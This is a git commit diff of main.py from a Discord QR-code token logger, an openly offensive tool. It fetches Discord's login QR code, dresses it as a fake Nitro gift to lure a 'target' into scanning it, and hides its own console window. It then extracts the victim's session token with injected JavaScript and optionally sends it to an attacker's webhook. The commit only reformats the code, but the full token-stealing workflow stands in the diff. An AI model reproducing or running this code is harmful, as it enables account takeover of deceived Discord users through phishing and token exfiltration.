mirror of
https://github.com/9P9/Discord-QR-Token-Logger.git
synced 2025-04-20 23:17:05 +00:00
Update main.py
This commit is contained in:
parent
4f6c97ab3c
commit
34997889e3
79
main.py
79
main.py
@ -39,7 +39,7 @@ from logger import log_unknown_exceptions
|
||||
def main(webhook_url: str) -> None:
|
||||
"""The main function of the program.
|
||||
\nProgram by Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0
|
||||
"""
|
||||
"""
|
||||
Write.Print('\n\n[!] Generating QR code...', Colors.red_to_purple)
|
||||
opts = webdriver.ChromeOptions()
|
||||
opts.add_argument('--headless')
|
||||
@ -54,20 +54,21 @@ def main(webhook_url: str) -> None:
|
||||
|
||||
try:
|
||||
main.driver = webdriver.Chrome(
|
||||
service=Service(ChromeDriverManager().install()),
|
||||
service=Service(ChromeDriverManager().install()),
|
||||
options=opts)
|
||||
except WebDriverException:
|
||||
raise SystemExit('WebDriverException : have you tried installing the latest version of Google Chrome?')
|
||||
raise SystemExit(
|
||||
'WebDriverException : have you tried installing the latest version of Google Chrome?')
|
||||
|
||||
main.driver.implicitly_wait(5)
|
||||
main.driver.get('https://discord.com/login')
|
||||
|
||||
time.sleep(5) # Attempted to do this with WebDriverWait but it resulted in a
|
||||
# number of issues.
|
||||
# Attempted to do this with WebDriverWait but it resulted in a
|
||||
time.sleep(5)
|
||||
# number of issues.
|
||||
|
||||
source = BeautifulSoup(main.driver.page_source, features='lxml')
|
||||
|
||||
|
||||
qrg = QRGrabber('resources')
|
||||
|
||||
try:
|
||||
@ -80,25 +81,34 @@ def main(webhook_url: str) -> None:
|
||||
|
||||
with TemporaryDirectory(dir='.') as td:
|
||||
with NamedTemporaryFile(dir=td, suffix='.png') as tp1:
|
||||
tp1.write(base64.b64decode(qr_code.replace('data:image/png;base64,', '')))
|
||||
Write.Print('\n[!] Generating template for QR code...', Colors.red_to_purple)
|
||||
tp1.write(
|
||||
base64.b64decode(
|
||||
qr_code.replace(
|
||||
'data:image/png;base64,',
|
||||
'')))
|
||||
Write.Print(
|
||||
'\n[!] Generating template for QR code...',
|
||||
Colors.red_to_purple)
|
||||
with NamedTemporaryFile(dir=td, suffix='.png') as tp2:
|
||||
qrg.generate_qr_for_template(tp1, tp2)
|
||||
Write.Print('\n[!] Generating Discord Nitro template for QR code...',
|
||||
Write.Print('\n[!] Generating Discord Nitro template for QR code...',
|
||||
Colors.red_to_purple)
|
||||
qrg.generate_nitro_template(tp2)
|
||||
|
||||
Write.Print('\n[#] Waiting for target to login using the QR code...', Colors.red_to_purple)
|
||||
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.",
|
||||
Write.Print(
|
||||
'\n[#] Waiting for target to login using the QR code...',
|
||||
Colors.red_to_purple)
|
||||
pystray_icon.icon.notify("This script has been set to hide until the target's token is grabbed.",
|
||||
'Waiting for target')
|
||||
time.sleep(3)
|
||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||
ctypes.windll.user32.ShowWindow(
|
||||
ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||
|
||||
while True:
|
||||
if discord_login != main.driver.current_url:
|
||||
try:
|
||||
os.remove('discord_gift.png')
|
||||
except:
|
||||
except BaseException:
|
||||
pass
|
||||
token = main.driver.execute_script('''
|
||||
window.dispatchEvent(new Event('beforeunload'));
|
||||
@ -112,14 +122,19 @@ def main(webhook_url: str) -> None:
|
||||
break
|
||||
|
||||
main.driver.quit()
|
||||
pystray_icon.icon.notify("The target scanned the QR-code sucessfuly.", 'New Victim !')
|
||||
pystray_icon.icon.notify(
|
||||
"The target scanned the QR-code sucessfuly.",
|
||||
'New Victim !')
|
||||
time.sleep(3)
|
||||
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||
ctypes.windll.user32.ShowWindow(
|
||||
ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||
|
||||
try:
|
||||
token_info = TokenInfo(token)
|
||||
del token
|
||||
Write.Print(f"\n\n[?] The following token has been grabbed: {token_info.token}", Colors.rainbow)
|
||||
Write.Print(
|
||||
f"\n\n[?] The following token has been grabbed: {token_info.token}",
|
||||
Colors.rainbow)
|
||||
|
||||
if webhook_url is not None:
|
||||
try:
|
||||
@ -139,9 +154,11 @@ if __name__ == "__main__":
|
||||
def pystray_icon():
|
||||
def window_state(_, item):
|
||||
if str(item) == 'Show':
|
||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||
return ctypes.windll.user32.ShowWindow(
|
||||
ctypes.windll.kernel32.GetConsoleWindow(), 5)
|
||||
elif str(item) == 'Hide':
|
||||
return ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||
return ctypes.windll.user32.ShowWindow(
|
||||
ctypes.windll.kernel32.GetConsoleWindow(), 0)
|
||||
elif str(item) == 'Quit':
|
||||
pystray_icon.icon.stop()
|
||||
main.driver.quit()
|
||||
@ -154,20 +171,34 @@ if __name__ == "__main__":
|
||||
))
|
||||
pystray_icon.icon.run()
|
||||
|
||||
System.Title('QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0')
|
||||
System.Title(
|
||||
'QR DISCORD LOGIN - By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0')
|
||||
System.Size(140, 35)
|
||||
|
||||
print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(BANNER), 1))
|
||||
print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1))
|
||||
print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n")
|
||||
print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube(
|
||||
"By Lemon.-_-.#3714, Luci (9P9), the-cult-of-integral and mte0")), 1))
|
||||
print(Colorate.Horizontal(Colors.rainbow, Box.Lines(
|
||||
"https://github.com/9P9/Discord-QR-Token-Logger").replace('ቐ', "$"), 1), "\n")
|
||||
|
||||
confir = Write.Input("[*] Do you want to use a Discord Webhook URL ? [y/n] -> ", Colors.green_to_cyan, interval=0.01)
|
||||
confir = Write.Input(
|
||||
"[*] Do you want to use a Discord Webhook URL ? [y/n] -> ",
|
||||
Colors.green_to_cyan,
|
||||
interval=0.01)
|
||||
if (confir == YES) or (confir == YES.upper()):
|
||||
th_main = Thread(target=main, args=(Write.Input("\n[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),))
|
||||
th_main = Thread(
|
||||
target=main,
|
||||
args=(
|
||||
Write.Input(
|
||||
"\n[*] Enter your webhook url -> ",
|
||||
Colors.green_to_cyan,
|
||||
interval=0.01),
|
||||
))
|
||||
elif (confir == NO) or (confir == NO.upper()):
|
||||
th_main = Thread(target=main, args=(None,))
|
||||
else:
|
||||
raise SystemExit('Failed to recognise an input of either \'y\' or \'n\'.')
|
||||
raise SystemExit(
|
||||
'Failed to recognise an input of either \'y\' or \'n\'.')
|
||||
|
||||
Thread(target=pystray_icon).start()
|
||||
th_main.start()
|
||||
|
Loading…
x
Reference in New Issue
Block a user